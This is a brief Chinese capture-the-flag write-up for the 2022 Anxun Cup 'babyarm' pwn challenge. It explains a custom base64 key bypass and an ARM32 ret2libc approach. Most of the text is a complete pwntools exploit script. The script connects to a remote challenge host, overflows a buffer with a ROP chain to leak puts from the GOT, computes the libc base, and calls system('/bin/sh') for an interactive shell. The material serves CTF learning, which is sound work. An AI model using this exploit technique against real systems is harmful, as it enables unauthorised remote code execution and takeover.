2022安洵杯pwn-babyarm

首先就是绕过一个简单的变表base64的加密key

然后就是一个类似ret2libc的利用方式，不过没有直接控制r0的gadget

使用的是arm32中万能的gadget

from pwn import *
#p = process(["qemu-arm","-g", "1212","-L", "/usr/arm-linux-gnueabi/", "./chall"])
#p = process(['qemu-arm','-L','/usr/arm-linux-gnueabi/','./chall'])
p = remote('47.108.29.107',10244)
context.log_level='debug'
context.arch='arm'

elf = ELF('./chall')
libc = ELF('./libc-2.27.so')
#context.terminal = ['gnome-terminal','-x','sh','-c']

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

sla('msg> ','s1mpl3Dec0d4r')
r4 = 0x00010cb0
r3 = 0x00010464
movcall = 0x00010ca0
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
leak('puts',puts_plt)
pl = b'a'*0x2c+p32(r4)+p32(0)+p32(0)+p32(0)+p32(puts_got)+p32(0)+p32(0)+p32(0)+p32(r3)+p32(puts_plt)+p32(movcall)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0x0010B60)
pause()
p.sendlineafter('comment> ',pl)
libcbase = uu64(r(4)) - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + 0x00131bec
leak('libcbase',libcbase)
sla('msg> ','s1mpl3Dec0d4r')

pl = b'a'*0x2c+p32(r4)+p32(0)+p32(0)+p32(0)+p32(binsh)+p32(0)+p32(0)+p32(0)+p32(r3)+p32(system)+p32(movcall)
p.sendlineafter('comment> ',pl)

p.interactive()

​